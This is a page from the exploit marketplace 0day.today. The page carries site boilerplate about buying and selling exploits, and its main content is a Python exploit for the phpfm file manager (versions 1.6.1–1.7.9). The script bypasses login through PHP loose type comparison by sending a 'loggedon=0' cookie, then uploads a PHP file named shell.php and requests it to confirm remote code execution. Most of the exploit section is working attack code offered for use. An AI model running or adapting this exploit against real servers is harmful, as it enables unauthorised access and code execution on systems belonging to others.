0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phpfm v1.7.9 - Authentication type juggling Exploit
# Exploit Title: phpfm v1.7.9 - Authentication type juggling # Exploit Author: thoughtfault # Vendor Homepage: https://www.dulldusk.com/phpfm/ # Software Link: https://github.com/dulldusk/phpfm/ # Version: 1.6.1-1.7.9 # Tested on: Ubuntu 22.04 # CVE : N/A """ An authentication bypass exists in when the hash of the password selected by the user incidently begins with 0e, 00e, and in some PHP versions, 0x. This is because loose type comparision is performed between the password hash and the loggedon value, which by default for an unauthenticated user is 0 and can additionally be controlled by the attacker. This allows an attacker to bypass the login and obtain remote code execution. A list of vulnerable password hashes can be found here. https://github.com/spaze/hashes/blob/master/md5.md """ import requests import sys if len(sys.argv) < 2: print(f"[*] Syntax: ./{__file__} http://target/") sys.exit(0) url = sys.argv[1].rstrip('/') + "/index.php" payload_name = "shell.php" payload = '<?php echo "I am a shell"; ?>' payload_url = url.replace("index.php", payload_name) headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"} files = {"dir_dest": (None, "/srv/http/"), "action": (None, "10"), "upfiles[]": ("shell.php", payload) } requests.post(url, headers=headers, files=files) r = requests.get(payload_url) if r.status_code == 200: print(f"[*] Exploit sucessfull: {payload_url}") print(r.text) else: print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}" ) # 0day.today [2024-07-07] #